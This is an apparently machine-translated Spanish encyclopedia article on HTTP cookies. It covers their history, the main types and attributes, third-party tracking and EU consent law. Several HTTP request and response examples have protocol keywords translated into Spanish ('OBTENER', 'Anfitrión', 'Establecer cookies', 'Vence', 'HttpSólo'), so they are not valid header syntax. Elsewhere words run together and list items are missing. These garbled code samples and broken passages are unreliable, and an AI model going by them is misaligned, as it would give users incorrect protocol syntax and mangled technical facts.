Las cookies HTTP (también llamadas cookies web , cookies de Internet , cookies de navegador o simplemente cookies ) son pequeños bloques de datos creados por un servidor web mientras un usuario navega por un sitio web y que el navegador web del usuario coloca en su computadora u otro dispositivo . Las cookies se colocan en el dispositivo utilizado para acceder a un sitio web y se puede colocar más de una cookie en el dispositivo de un usuario durante una sesión.
Las cookies cumplen funciones útiles y, en ocasiones, esenciales en la web . Permiten a los servidores web almacenar información detallada (como los artículos agregados al carrito de compras en una tienda en línea ) en el dispositivo del usuario o rastrear la actividad de navegación del usuario (incluido hacer clic en botones particulares, iniciar sesión o registrar qué páginas fueron visitadas en el pasado ). [1] También se pueden utilizar para guardar información que el usuario ingresó previamente en los campos del formulario , como nombres, direcciones, contraseñas y números de tarjetas de pago para su uso posterior.
Los servidores web suelen utilizar cookies de autenticación para autenticar que un usuario ha iniciado sesión y con qué cuenta ha iniciado sesión. Sin la cookie, los usuarios tendrían que autenticarse iniciando sesión en cada página que contenga información confidencial a la que deseen acceder. . La seguridad de una cookie de autenticación generalmente depende de la seguridad del sitio web emisor y del navegador web del usuario, y de si los datos de la cookie están cifrados . Las vulnerabilidades de seguridad pueden permitir que un atacante lea los datos de una cookie , los utilice para obtener acceso a los datos del usuario o para obtener acceso (con las credenciales del usuario) al sitio web al que pertenece la cookie (consulte secuencias de comandos entre sitios y cross -site). falsificación de solicitudes de sitios para ver ejemplos). [2]
Las cookies de seguimiento , y especialmente las cookies de seguimiento de terceros, se utilizan comúnmente como formas de compilar registros a largo plazo de los historiales de navegación de las personas , una posible preocupación sobre la privacidad que llevó a los legisladores europeos [3] y estadounidenses a tomar medidas en 2011. [4] [5] La ley europea exige que todos los sitios web dirigidos a los estados miembros de la Unión Europea obtengan el " consentimiento informado " de los usuarios antes de almacenar cookies no esenciales en sus dispositivos.
El término cookie fue acuñado por el programador de navegadores web Lou Montulli . Se deriva del término cookie mágica , que es un paquete de datos que un programa recibe y envía sin cambios, utilizado por los programadores de Unix . [6] [7]
Las cookies mágicas ya se utilizaban en informática cuando el programador Lou Montulli tuvo la idea de utilizarlas en las comunicaciones web en junio de 1994. [8] En aquel momento, era empleado de Netscape Communications , que estaba desarrollando una aplicación de comercio electrónico para MCI. . Vint Cerf y John Klensin representaron a MCI en discusiones técnicas con Netscape Communications. MCI no quería que sus servidores tuvieran que retener estados de transacciones parciales, lo que los llevó a pedirle a Netscape que encontrara una manera de almacenar ese estado en la computadora de cada usuario. Las cookies proporcionaron una solución al problema de implementar de manera confiable un carrito de compras virtual . [9] [10]
Junto con John Giannandrea, Montulli escribió la especificación inicial de cookies de Netscape el mismo año. La versión 0.9beta de Mosaic Netscape , lanzada el 13 de octubre de 1994, [11] [12] admitía cookies. [10] El primer uso de cookies (fuera de los laboratorios) fue verificar si los visitantes del sitio web de Netscape ya habían visitado el sitio. Montulli solicitó una patente para la tecnología de cookies en 1995, que fue concedida en 1998. [13] El soporte para cookies se integró con Internet Explorer en la versión 2, lanzada en octubre de 1995. [14]
La introducción de las cookies no era muy conocida por el público en aquel momento. En particular, las cookies se aceptaban por defecto y no se notificaba a los usuarios de su presencia. [ cita necesaria ] El público se enteró de las cookies después de que el Financial Times publicara un artículo sobre ellas el 12 de febrero de 1996. [15] Ese mismo año, las cookies recibieron mucha atención de los medios, especialmente debido a sus posibles implicaciones para la privacidad. Las cookies se discutieron en dos audiencias de la Comisión Federal de Comercio de Estados Unidos en 1996 y 1997. [2]
El desarrollo de las especificaciones formales de las cookies ya estaba en marcha. En particular, las primeras discusiones sobre una especificación formal comenzaron en abril de 1995 en la lista de correo www-talk . Se formó un grupo de trabajo especial dentro del Grupo de Trabajo de Ingeniería de Internet (IETF). Brian Behlendorf y David Kristol propusieron dos propuestas alternativas para introducir el estado en las transacciones HTTP, respectivamente. Pero el grupo, encabezado por el propio Kristol y Lou Montulli, pronto decidió utilizar la especificación Netscape como punto de partida. En febrero de 1996, el grupo de trabajo identificó las cookies de terceros como una amenaza considerable a la privacidad. La especificación producida por el grupo finalmente se publicó como RFC 2109 en febrero de 1997. Especifica que las cookies de terceros no estaban permitidas en absoluto, o al menos no estaban habilitadas de forma predeterminada. [16] En ese momento, las empresas de publicidad ya utilizaban cookies de terceros. La recomendación sobre cookies de terceros del RFC 2109 no fue seguida por Netscape e Internet Explorer. RFC 2109 fue reemplazada por RFC 2965 en octubre de 2000.
RFC 2965 agregó un Set-Cookie2 campo de encabezado , que informalmente pasó a denominarse "cookies estilo RFC 2965" en contraposición al Set-Cookiecampo de encabezado original que se llamó "cookies estilo Netscape". [17] [18] Set-Cookie2 Sin embargo, rara vez se usaba y quedó obsoleto en RFC 6265 en abril de 2011, que fue escrito como una especificación definitiva para las cookies tal como se usan en el mundo real. [19] Ningún navegador moderno reconoce el Set-Cookie2campo de encabezado. [20]
Una cookie de sesión (también conocida como cookie en memoria , cookie transitoria o cookie no persistente ) existe solo en la memoria temporal mientras el usuario navega por un sitio web. [21] Las cookies de sesión caducan o se eliminan cuando el usuario cierra el navegador web. [22] Las cookies de sesión son identificadas por el navegador por la ausencia de una fecha de caducidad asignada.
Una cookie persistente caduca en una fecha específica o después de un período de tiempo específico. Durante la vida útil de la cookie persistente establecida por su creador, su información se transmitirá al servidor cada vez que el usuario visite el sitio web al que pertenece, o cada vez que el usuario vea un recurso perteneciente a ese sitio web desde otro sitio web (como un anuncio). ).
Por este motivo, las cookies persistentes a veces se denominan cookies de seguimiento [ cita necesaria ] porque los anunciantes pueden utilizarlas para registrar información sobre los hábitos de navegación web de un usuario durante un período prolongado. Las cookies persistentes también se utilizan por motivos tales como mantener a los usuarios conectados a sus cuentas en los sitios web, para evitar tener que volver a ingresar las credenciales de inicio de sesión en cada visita.
Una cookie segura sólo se puede transmitir a través de una conexión cifrada (es decir, HTTPS ). No se pueden transmitir a través de conexiones no cifradas (es decir, HTTP ). Esto hace que sea menos probable que la cookie quede expuesta al robo de cookies mediante escuchas ilegales . Una cookie se vuelve segura agregando la Securebandera a la cookie.
Las API del lado del cliente, como JavaScript , no pueden acceder a una cookie de solo http . Esta restricción elimina la amenaza del robo de cookies mediante secuencias de comandos entre sitios (XSS). [23] Sin embargo, la cookie sigue siendo vulnerable a ataques de rastreo entre sitios (XST) y falsificación de solicitudes entre sitios (CSRF). A una cookie se le otorga esta característica agregando la bandera a la cookie.HttpOnly
En 2016, Google Chrome versión 51 introdujo [24] un nuevo tipo de cookie con atributo SameSitecon posibles valores de Strict, Laxo None. [25] Con el atributo SameSite=Strict, los navegadores solo enviarían cookies a un dominio de destino que sea el mismo que el dominio de origen. Esto mitigaría eficazmente los ataques de falsificación de solicitudes entre sitios (CSRF). [26] Con SameSite=Lax, los navegadores enviarían cookies con solicitudes a un dominio de destino incluso si es diferente del dominio de origen, pero solo para solicitudes seguras como GET (POST no es seguro) y no cookies de terceros (dentro del iframe). El atributo SameSite=Nonepermitiría cookies de terceros (entre sitios); sin embargo, la mayoría de los navegadores requieren un atributo seguro en SameSite=None cookies. [27]
La cookie del mismo sitio se incorpora en un nuevo borrador de RFC para "Cookies: Mecanismo de gestión de estado HTTP" [28] para actualizar RFC 6265 (si se aprueba).
Chrome, Firefox y Edge comenzaron a admitir cookies del mismo sitio. [29] La clave de la implementación es el tratamiento de las cookies existentes sin el atributo SameSite definido. Chrome ha estado tratando esas cookies existentes como si SameSite=None, esto permitiría que todos los sitios web/aplicaciones se ejecuten como antes. Google tenía la intención de cambiar ese valor predeterminado SameSite=Laxen Chrome 80, cuyo lanzamiento estaba previsto para febrero de 2020, [30] pero debido a la posibilidad de rotura de aquellas aplicaciones/sitios web que dependen de cookies de terceros/entre sitios y las circunstancias de COVID-19 , Google pospuso este cambio a Chrome 84. [31] [32]
Una supercookie es una cookie con origen en un dominio de nivel superior (como .com) o un sufijo público (como .co.uk). Las cookies comunes, por el contrario, tienen el origen de un nombre de dominio específico, como por ejemplo example.com.
Las supercookies pueden representar un posible problema de seguridad y, por lo tanto, los navegadores web suelen bloquearlas. Si el navegador lo desbloquea, un atacante que controle un sitio web malicioso podría establecer una supercookie y potencialmente interrumpir o suplantar solicitudes legítimas de usuarios a otro sitio web que comparta el mismo dominio de nivel superior o sufijo público que el sitio web malicioso. Por ejemplo, una supercookie con origen en .com, podría afectar maliciosamente una solicitud realizada a example.com, incluso si la cookie no se originó en example.com. Esto se puede utilizar para falsificar inicios de sesión o cambiar la información del usuario.
La Lista pública de sufijos [33] ayuda a mitigar el riesgo que plantean las supercookies. La Lista pública de sufijos es una iniciativa de varios proveedores que tiene como objetivo proporcionar una lista precisa y actualizada de sufijos de nombres de dominio. Es posible que las versiones anteriores de los navegadores no tengan una lista actualizada y, por lo tanto, serán vulnerables a las supercookies de ciertos dominios.
El término supercookie se utiliza a veces para tecnologías de seguimiento que no dependen de cookies HTTP. En agosto de 2011 se encontraron dos de estos mecanismos de supercookies en los sitios web de Microsoft: sincronización de cookies que reaparecían cookies MUID (identificador único de la máquina) y cookies ETag . [34] Debido a la atención de los medios, Microsoft posteriormente deshabilitó este código. [35] En una publicación de blog de 2021, Mozilla utilizó el término supercookie para referirse al uso de la memoria caché del navegador como medio para rastrear a los usuarios en todos los sitios. [36]
Una cookie zombie son datos y código que un servidor web ha colocado en la computadora u otro dispositivo de un visitante en una ubicación oculta fuera de la ubicación de almacenamiento de cookies dedicada del navegador web del visitante , y que recrea automáticamente una cookie HTTP como una cookie normal después la cookie original había sido eliminada. La cookie zombie puede almacenarse en múltiples ubicaciones, como Flash Local, objeto compartido , almacenamiento web HTML5 y otras ubicaciones del lado del cliente e incluso del lado del servidor, y cuando se detecta ausencia en una de las ubicaciones, la instancia faltante se recrea mediante el código JavaScript utilizando los datos almacenados en otras ubicaciones. [37] [38]
Un muro de cookies aparece en un sitio web e informa al usuario sobre el uso de cookies del sitio web. No tiene opción de rechazo y no se puede acceder al sitio web sin cookies de seguimiento.
Una cookie consta de los siguientes componentes: [39] [40] [41]
Securey HttpOnly).Las cookies se introdujeron originalmente para proporcionar una manera para que los usuarios registren los artículos que desean comprar mientras navegan por un sitio web (un carrito de compras virtual o una cesta de compras ). [9] [10] Hoy en día, sin embargo, el contenido del carrito de compras de un usuario generalmente se almacena en una base de datos en el servidor, en lugar de en una cookie en el cliente. Para realizar un seguimiento de qué usuario está asignado a qué carrito de compras, el servidor envía una cookie al cliente que contiene un identificador de sesión único (normalmente, una larga cadena de letras y números aleatorios). Debido a que las cookies se envían al servidor con cada solicitud que realiza el cliente, ese identificador de sesión se enviará de regreso al servidor cada vez que el usuario visite una nueva página en el sitio web, lo que le permite al servidor saber qué carrito de compras mostrarle al usuario.
Otro uso popular de las cookies es para iniciar sesión en sitios web. Cuando el usuario visita la página de inicio de sesión de un sitio web, el servidor web normalmente envía al cliente una cookie que contiene un identificador de sesión único. Cuando el usuario inicia sesión correctamente, el servidor recuerda que ese identificador de sesión en particular ha sido autenticado y le otorga al usuario acceso a sus servicios.
Debido a que las cookies de sesión solo contienen un identificador de sesión único, esto hace que la cantidad de información personal que un sitio web puede guardar sobre cada usuario sea prácticamente ilimitada: el sitio web no está limitado a restricciones sobre el tamaño que puede tener una cookie. Las cookies de sesión también ayudan a mejorar los tiempos de carga de la página, ya que la cantidad de información en una cookie de sesión es pequeña y requiere poco ancho de banda.
Las cookies se pueden utilizar para recordar información sobre el usuario con el fin de mostrarle contenido relevante a lo largo del tiempo. Por ejemplo, un servidor web podría enviar una cookie que contenga el nombre de usuario que se utilizó por última vez para iniciar sesión en un sitio web, de modo que pueda completarse automáticamente la próxima vez que el usuario inicie sesión.
Muchos sitios web utilizan cookies para personalizar según las preferencias del usuario. Los usuarios seleccionan sus preferencias ingresándolas en un formulario web y enviándolo al servidor. El servidor codifica las preferencias en una cookie y la envía de vuelta al navegador. De esta forma, cada vez que el usuario accede a una página del sitio web, el servidor puede personalizar la página según las preferencias del usuario. Por ejemplo, el motor de búsqueda de Google alguna vez utilizó cookies para permitir a los usuarios (incluso a los no registrados) decidir cuántos resultados de búsqueda por página querían ver. Además, DuckDuckGo utiliza cookies para permitir a los usuarios establecer preferencias de visualización, como los colores de la página web.
Las cookies de seguimiento se utilizan para rastrear los hábitos de navegación web de los usuarios. Esto también se puede hacer hasta cierto punto utilizando la dirección IP de la computadora que solicita la página o el campo de referencia del encabezado de solicitud HTTP , pero las cookies permiten una mayor precisión. Esto se puede demostrar de la siguiente manera:
Al analizar este archivo de registro, es posible descubrir qué páginas ha visitado el usuario, en qué secuencia y durante cuánto tiempo.
Las corporaciones explotan los hábitos web de los usuarios mediante el seguimiento de cookies para recopilar información sobre hábitos de compra. El Wall Street Journal descubrió que los cincuenta sitios web más importantes de Estados Unidos instalaron un promedio de sesenta y cuatro elementos de tecnología de seguimiento en las computadoras, lo que dio como resultado un total de 3.180 archivos de seguimiento. [42] Los datos pueden luego recopilarse y venderse a las empresas licitadoras.
Las cookies son datos arbitrarios, generalmente elegidos y enviados primero por el servidor web, y almacenados en la computadora del cliente por el navegador web. Luego, el navegador los envía de vuelta al servidor con cada solicitud, introduciendo estados (memoria de eventos anteriores) en transacciones HTTP que de otro modo serían sin estado . Sin cookies, cada recuperación de una página web o componente de una página web sería un evento aislado, en gran medida sin relación con todas las demás páginas vistas realizadas por el usuario en el sitio web. Aunque las cookies generalmente las establece el servidor web, el cliente también puede configurarlas utilizando un lenguaje de secuencias de comandos como JavaScript (a menos que esté configurado el indicador de cookie HttpOnly, en cuyo caso la cookie no puede modificarse mediante lenguajes de secuencias de comandos).
Las especificaciones de cookies [43] [44] requieren que los navegadores cumplan los siguientes requisitos para admitir cookies:
Las cookies se configuran mediante el Set-Cookie campo de encabezado , enviado en una respuesta HTTP del servidor web. Este campo de encabezado indica al navegador web que almacene la cookie y la envíe de vuelta en futuras solicitudes al servidor (el navegador ignorará este campo de encabezado si no admite cookies o las ha deshabilitado).
Como ejemplo, el navegador envía su primera solicitud HTTP a la página de inicio del www.example.orgsitio web:
OBTENER /index.html HTTP / 1.1 Host : www.example.org ...El servidor responde con dos Set-Cookiecampos de encabezado:
HTTP / 1.0 200 OK Tipo de contenido : texto/html Set-Cookie : tema=light Set-Cookie : sessionToken=abc123; Expira = miércoles, 09 de junio de 2021 10:18:14 GMT ...La respuesta HTTP del servidor contiene el contenido de la página de inicio del sitio web. Pero también indica al navegador que configure dos cookies. La primera, tema , se considera una cookie de sesión ya que no tiene atributo Expiresor Max-Age. Las cookies de sesión están destinadas a ser eliminadas por el navegador cuando se cierra. La segunda, sessionToken , se considera una cookie persistente ya que contiene un Expiresatributo que indica al navegador que elimine la cookie en una fecha y hora específicas.
A continuación, el navegador envía otra solicitud para visitar la spec.htmlpágina del sitio web. Esta solicitud contiene un Cookiecampo de encabezado, que contiene las dos cookies que el servidor le indicó al navegador que configurara:
OBTENER /spec.html HTTP / 1.1 Anfitrión : www.example.org Cookie : tema=luz; token de sesión=abc123 …De esta forma, el servidor sabe que esta solicitud HTTP está relacionada con la anterior. El servidor respondería enviando la página solicitada, posiblemente incluyendo más Set-Cookiecampos de encabezado en la respuesta HTTP para indicarle al navegador que agregue nuevas cookies, modifique las cookies existentes o elimine las cookies existentes. Para eliminar una cookie, el servidor debe incluir un Set-Cookiecampo de encabezado con una fecha de vencimiento anterior.
El valor de una cookie puede consistir en cualquier carácter ASCII imprimible ( !hasta Unicode hasta ), excluyendo ~los caracteres de espacio en blanco y . El nombre de una cookie excluye los mismos caracteres, así como , ya que es el delimitador entre el nombre y el valor. El estándar de cookies RFC 2965 es más restrictivo pero no lo implementan los navegadores. \u0021\u007E,;=
El término cookie migaja se utiliza a veces para referirse al par nombre-valor de una cookie. [45]
Las cookies también pueden configurarse mediante lenguajes de secuencias de comandos como JavaScript que se ejecutan en el navegador. En JavaScript, el objeto document.cookiese utiliza para este propósito. Por ejemplo, la instrucción document.cookie = "temperature=20"crea una cookie con el nombre temperatura y valor 20 . [46]
Además de un nombre y un valor, las cookies también pueden tener uno o más atributos. Los navegadores no incluyen atributos de cookies en las solicitudes al servidor; solo envían el nombre y el valor de la cookie. Los navegadores utilizan los atributos de las cookies para determinar cuándo eliminar una cookie, bloquearla o si enviarla al servidor.
Los atributos Domainy Pathdefinen el alcance de la cookie. Básicamente, le dicen al navegador a qué sitio web pertenece la cookie. Por razones de seguridad, las cookies sólo se pueden configurar en el dominio superior del recurso actual y sus subdominios, y no para otro dominio y sus subdominios. Por ejemplo, el sitio web example.orgno puede configurar una cookie que tenga un dominio foo.comporque esto permitiría al sitio web example.orgcontrolar las cookies del dominio foo.com.
Si el servidor no especifica los atributos Domainy de una cookie , de forma predeterminada utilizan el dominio y la ruta del recurso que se solicitó. [47] Sin embargo, en la mayoría de los navegadores existe una diferencia entre una cookie configurada sin un dominio y una cookie configurada con el dominio. En el primer caso, la cookie solo se enviará para solicitudes a , también conocida como cookie de solo host. En el último caso, también se incluyen todos los subdominios (por ejemplo, ). [48] [49] Una excepción notable a esta regla general es Edge anterior a Windows 10 RS3 e Internet Explorer anterior a IE 11 y Windows 10 RS4 (abril de 2018), que siempre envía cookies a subdominios independientemente de si la cookie se configuró con o sin dominio. [50]Pathfoo.comfoo.comfoo.comdocs.foo.com
A continuación se muestra un ejemplo de algunos Set-Cookiecampos de encabezado en la respuesta HTTP de un sitio web después de que un usuario inició sesión. La solicitud HTTP se envió a una página web dentro del docs.foo.comsubdominio:
HTTP / 1.0 200 OK Establecer cookies : LSID=DQAAAK…Eaem_vYg; Ruta=/cuentas; Vence = miércoles 13 de enero de 2021 a las 22:23:01 GMT; Seguro; HttpOnly Set-Cookie : HSID=AYQEVn…DKrdst; Dominio=.foo.com; Ruta=/; Vence = miércoles 13 de enero de 2021 a las 22:23:01 GMT; HttpOnly Establecer cookies : SSID=Ap4P…GTEq; Dominio=foo.com; Ruta=/; Vence = miércoles 13 de enero de 2021 a las 22:23:01 GMT; Seguro; HttpSólo …La primera cookie, LSID, no tiene Domainatributo y tiene un Pathatributo establecido en /accounts. Esto le indica al navegador que use la cookie solo cuando solicite páginas contenidas en docs.foo.com/accounts(el dominio se deriva del dominio de solicitud). Las otras dos cookies, HSIDy SSID, se usarían cuando el navegador solicita cualquier subdominio en .foo.comcualquier ruta (por ejemplo www.foo.com/bar). El punto antepuesto es opcional en estándares recientes, pero se puede agregar para compatibilidad con implementaciones basadas en RFC 2109. [51]
El Expiresatributo define una fecha y hora específicas en las que el navegador debe eliminar la cookie. La fecha y la hora se especifican en el formulario Wdy, DD Mon YYYY HH:MM:SS GMT, o en el formulario Wdy, DD Mon YY HH:MM:SS GMTpara valores de YY donde YY es mayor o igual a 0 y menor o igual a 69. [52]
Alternativamente, el Max-Ageatributo se puede utilizar para establecer la caducidad de la cookie como un intervalo de segundos en el futuro, en relación con el momento en que el navegador recibió la cookie. A continuación se muestra un ejemplo de tres Set-Cookiecampos de encabezado que se recibieron de un sitio web después de que un usuario inició sesión:
HTTP / 1.0 200 OK Establecer cookies : lu=Rg3vHJZnehYLjVg7qi3bZjzg; Vence = martes 15 de enero de 2013, 21:47:38 GMT; Ruta=/; Dominio=.ejemplo.com; HttpOnly Set-Cookie : made_write_conn=1295214458; Ruta=/; Dominio=.example.com Configurar-Cookie : reg_fb_gate=eliminado; Expira = jueves 1 de enero de 1970 00:00:01 GMT; Ruta=/; Dominio=.ejemplo.com; Sólo HttpLa primera cookie, lu, caducará en algún momento del 15 de enero de 2013. Será utilizada por el navegador del cliente hasta ese momento. La segunda cookie, made_write_conn, no tiene fecha de caducidad, por lo que es una cookie de sesión. Se eliminará después de que el usuario cierre su navegador. La tercera cookie, reg_fb_gate, tiene su valor cambiado a eliminada , con una fecha de vencimiento en el pasado. El navegador eliminará esta cookie de inmediato porque su tiempo de vencimiento ya pasó. Tenga en cuenta que la cookie solo se eliminará si los atributos de dominio y ruta del Set-Cookiecampo coinciden con los valores utilizados cuando se creó la cookie.
A partir de 2016, [actualizar]Internet Explorer no era compatible Max-Age. [53] [54]
Los atributos Securey HttpOnlyno tienen valores asociados. Más bien, la presencia solo de los nombres de sus atributos indica que sus comportamientos deben habilitarse.
El Secureatributo está destinado a mantener la comunicación de cookies limitada a la transmisión cifrada, indicando a los navegadores que utilicen cookies solo a través de conexiones seguras/cifradas . Sin embargo, si un servidor web configura una cookie con un atributo seguro desde una conexión no segura, la cookie aún puede ser interceptada cuando se envía al usuario mediante ataques de intermediario . Por lo tanto, para máxima seguridad, las cookies con el atributo Seguro sólo deben configurarse a través de una conexión segura.
El HttpOnlyatributo indica a los navegadores que no expongan cookies a través de canales distintos de las solicitudes HTTP (y HTTPS). Esto significa que no se puede acceder a la cookie a través de lenguajes de secuencias de comandos del lado del cliente (en particular, JavaScript ) y, por lo tanto, no se puede robar fácilmente mediante secuencias de comandos entre sitios (una técnica de ataque generalizada). [55]
La mayoría de los navegadores modernos admiten cookies y permiten al usuario desactivarlas. Las siguientes son opciones comunes: [56]
También existen herramientas complementarias para gestionar los permisos de cookies. [57] [58] [59] [60]
Las cookies tienen algunas implicaciones importantes para la privacidad y el anonimato de los usuarios de la web. Si bien las cookies se envían únicamente al servidor que las configura o a un servidor en el mismo dominio de Internet, una página web puede contener imágenes u otros componentes almacenados en servidores de otros dominios. Las cookies que se configuran durante la recuperación de estos componentes se denominan cookies de terceros . Una cookie de terceros, pertenece a un dominio diferente al que se muestra en la barra de direcciones. Este tipo de cookie suele aparecer cuando las páginas web presentan contenido de sitios web externos, como anuncios publicitarios . Esto abre la posibilidad de rastrear el historial de navegación del usuario y los anunciantes lo utilizan para mostrar anuncios relevantes a cada usuario.
Como ejemplo, supongamos que un usuario visita www.example.org. Este sitio web contiene un anuncio de ad.foxytracking.com, que, cuando se descarga, establece una cookie que pertenece al dominio del anuncio ( ad.foxytracking.com). Luego, el usuario visita otro sitio web, www.foo.comque también contiene un anuncio de ese dominio ad.foxytracking.comy establece una cookie perteneciente a ese dominio ( ad.foxytracking.com). Eventualmente, ambas cookies se enviarán al anunciante cuando cargue sus anuncios o visite su sitio web. Luego, el anunciante puede utilizar estas cookies para crear un historial de navegación del usuario en todos los sitios web que tienen anuncios de este anunciante, mediante el uso del campo de encabezado de referencia HTTP .
En 2014 [actualizar], algunos sitios web configuraban cookies legibles para más de 100 dominios de terceros. [61] En promedio, un solo sitio web configuraba 10 cookies, con un número máximo de cookies (propias y de terceros) que superaban las 800. [62]
Los estándares más antiguos para cookies, RFC 2109 [16] y RFC 2965, recomiendan que los navegadores protejan la privacidad del usuario y no permitan compartir cookies entre servidores de forma predeterminada. Sin embargo, el estándar más nuevo, RFC 6265, permite explícitamente a los agentes de usuario implementar cualquier política de cookies de terceros que deseen. La mayoría de los navegadores web modernos contienen configuraciones de privacidad que pueden bloquear las cookies de terceros, y algunos ahora bloquean todas las cookies de terceros de forma predeterminada; a partir de julio de 2020, dichos navegadores incluyen Apple Safari , [63] Firefox , [64] y Brave . [65] Safari permite que los sitios integrados utilicen la API de acceso al almacenamiento para solicitar permiso para configurar cookies de origen. En mayo de 2020, Google Chrome 83 introdujo nuevas funciones para bloquear las cookies de terceros de forma predeterminada en su modo Incógnito para navegación privada, haciendo que el bloqueo sea opcional durante la navegación normal. La misma actualización también agregó una opción para bloquear las cookies de origen. [66] Chrome planea comenzar a bloquear las cookies de terceros de forma predeterminada a fines de 2024. [67]
La posibilidad de crear un perfil de usuarios es una amenaza a la privacidad, especialmente cuando el seguimiento se realiza en múltiples dominios utilizando cookies de terceros. Por este motivo, algunos países cuentan con legislación sobre cookies.
Los operadores de sitios web que no revelan el uso de cookies de terceros a los consumidores corren el riesgo de dañar la confianza del consumidor si se descubre el uso de cookies. Tener una divulgación clara (como en una política de privacidad ) tiende a eliminar cualquier efecto negativo del descubrimiento de cookies. [68] [ verificación fallida ]
El gobierno de Estados Unidos estableció reglas estrictas sobre la configuración de cookies en 2000 después de que se revelara que la oficina de políticas de drogas de la Casa Blanca usaba cookies para rastrear a los usuarios de computadoras que veían su publicidad antidrogas en línea. En 2002, el activista de la privacidad Daniel Brandt descubrió que la CIA había estado dejando cookies persistentes en las computadoras que habían visitado su sitio web. Cuando se le notificó que estaba violando la política, la CIA declaró que estas cookies no se habían configurado intencionalmente y dejó de configurarlas. El 25 de diciembre de 2005, Brandt descubrió que la Agencia de Seguridad Nacional (NSA) había estado dejando dos cookies persistentes en las computadoras de los visitantes debido a una actualización de software. Después de ser informada, la NSA inmediatamente desactivó las cookies. [69]
En 2002, la Unión Europea lanzó la Directiva sobre Privacidad y Comunicaciones Electrónicas (Directiva de Privacidad Electrónica), una política que requiere el consentimiento de los usuarios finales para la colocación de cookies y tecnologías similares para almacenar y acceder a información en los equipos de los usuarios. [70] [71] En particular, el artículo 5, párrafo 3, exige que el almacenamiento de datos técnicamente innecesarios en el ordenador de un usuario sólo se puede realizar si se proporciona al usuario información sobre cómo se utilizan estos datos y se le da la posibilidad de negarlo. operación de almacenamiento. La Directiva no exige que los usuarios autoricen ni reciban aviso sobre el uso de cookies que son funcionalmente necesarias para brindar un servicio que han solicitado, por ejemplo, para conservar la configuración, almacenar sesiones de inicio de sesión o recordar lo que hay en la cesta de compras de un usuario. [72]
En 2009, la ley fue modificada por la Directiva 2009/136/CE, que incluyó un cambio en el artículo 5, párrafo 3. En lugar de tener una opción para que los usuarios opten por no almacenar cookies, la Directiva revisada requiere que se obtenga el consentimiento para las cookies. almacenamiento. [71] La definición de consentimiento tiene una referencia cruzada a la definición de la ley europea de protección de datos, primero la Directiva de Protección de Datos de 1995 y posteriormente el Reglamento General de Protección de Datos (GDPR). A medida que la definición de consentimiento se fortaleció en el texto del GDPR, esto tuvo el efecto de aumentar la calidad del consentimiento requerido por quienes almacenan y acceden a información como las cookies en los dispositivos de los usuarios. Sin embargo, en un caso decidido bajo la Directiva de Protección de Datos, el Tribunal de Justicia de la Unión Europea confirmó posteriormente que la ley anterior implicaba la misma calidad estricta de consentimiento que el instrumento actual. [73] Además del requisito de consentimiento que surge del almacenamiento o el acceso a información en el dispositivo terminal de un usuario, la información contenida en muchas cookies se considerará datos personales según el RGPD únicamente y requerirá una base legal para procesarla. Así ha sido desde la Directiva de Protección de Datos de 1995, que utilizaba una definición idéntica de datos personales, aunque el RGPD en su considerando 30 interpretativo aclara que se incluyen identificadores de cookies. Si bien no todo el procesamiento de datos según el RGPD requiere consentimiento, las características de la publicidad comportamental hacen que sea difícil o imposible justificarla por cualquier otro motivo. [74] [75]
El consentimiento en virtud de la combinación del RGPD y la Directiva de privacidad electrónica debe cumplir una serie de condiciones en relación con las cookies. [76] Debe darse libremente y sin ambigüedades: las casillas marcadas previamente estaban prohibidas tanto en virtud de la Directiva de protección de datos de 1995 [73] como del RGPD (Considerando 32). [77] El RGPD es específico en cuanto a que el consentimiento debe ser "tan fácil de retirar como de otorgar", [77] lo que significa que un botón de rechazar todo debe ser tan fácil de acceder en términos de clics y visibilidad como un botón de "aceptar todo". . [76] Debe ser específico e informado, lo que significa que el consentimiento se relaciona con propósitos particulares para el uso de estos datos, y todas las organizaciones que buscan utilizar este consentimiento deben ser nombradas específicamente. [78] [79] El Tribunal de Justicia de la Unión Europea también ha dictaminado que el consentimiento debe ser "eficiente y oportuno", lo que significa que debe obtenerse antes de que se coloquen las cookies y comience el procesamiento de datos y no después. [80]
La respuesta de la industria ha sido en gran medida negativa. Robert Bond, del bufete de abogados Speechly Bircham, describe los efectos como "de gran alcance e increíblemente onerosos" para "todas las empresas del Reino Unido". Simon Davis, de Privacy International , sostiene que una aplicación adecuada "destruiría toda la industria". [81] Sin embargo, los académicos señalan que la naturaleza onerosa de las cookies emergentes surge de un intento de continuar operando un modelo de negocio a través de solicitudes complicadas que pueden ser incompatibles con el RGPD. [74]
Tanto los estudios académicos como los reguladores describen un incumplimiento generalizado de la ley. Un estudio que analizó 10.000 sitios web del Reino Unido encontró que solo el 11,8% de los sitios cumplían con los requisitos legales mínimos, y solo el 33,4% de los sitios web estudiados proporcionaban un mecanismo para rechazar cookies que era tan fácil de usar como aceptarlas. [76] Un estudio de 17.000 sitios web encontró que el 84% de los sitios incumplían este criterio, y encontró además que muchos colocaban cookies de terceros sin previo aviso. [82] El regulador del Reino Unido, la Oficina del Comisionado de Información , declaró en 2019 que el 'Marco de Transparencia y Consentimiento' de la industria del grupo de tecnología publicitaria Interactive Advertising Bureau era 'insuficiente para garantizar la transparencia y el procesamiento justo de los datos personales en cuestión y, por lo tanto, También es insuficiente para brindar consentimiento libre e informado, con las consiguientes implicaciones para el cumplimiento de PECR [e-Privacy]”. [78] Muchas empresas que venden soluciones de cumplimiento (plataformas de gestión de consentimiento) permiten que se configuren de manera manifiestamente ilegal, lo que, según los estudiosos, genera dudas sobre la asignación adecuada de responsabilidad. [83]
Se propuso una especificación W3C llamada P3P para que los servidores comuniquen su política de privacidad a los navegadores, permitiendo un manejo automático y configurable por el usuario. Sin embargo, pocos sitios web implementan la especificación y el W3C ha dejado de trabajar en la especificación. [84]
La mayoría de los navegadores pueden bloquear las cookies de terceros para aumentar la privacidad y reducir el seguimiento por parte de las empresas de publicidad y seguimiento sin afectar negativamente la experiencia web del usuario en todos los sitios. Algunos sitios operan "muros de cookies", que condicionan el acceso a un sitio a permitir cookies, ya sea técnicamente en un navegador, presionando "aceptar", o ambos. [85] En 2020, el Consejo Europeo de Protección de Datos , compuesto por todos los reguladores de protección de datos de la UE, declaró que los muros de cookies eran ilegales.
Para que el consentimiento se otorgue libremente, el acceso a los servicios y funcionalidades no debe estar condicionado al consentimiento de un usuario para almacenar información, o al acceso a información ya almacenada, en el equipo terminal de un usuario (llamado paredes de galletas). [86]
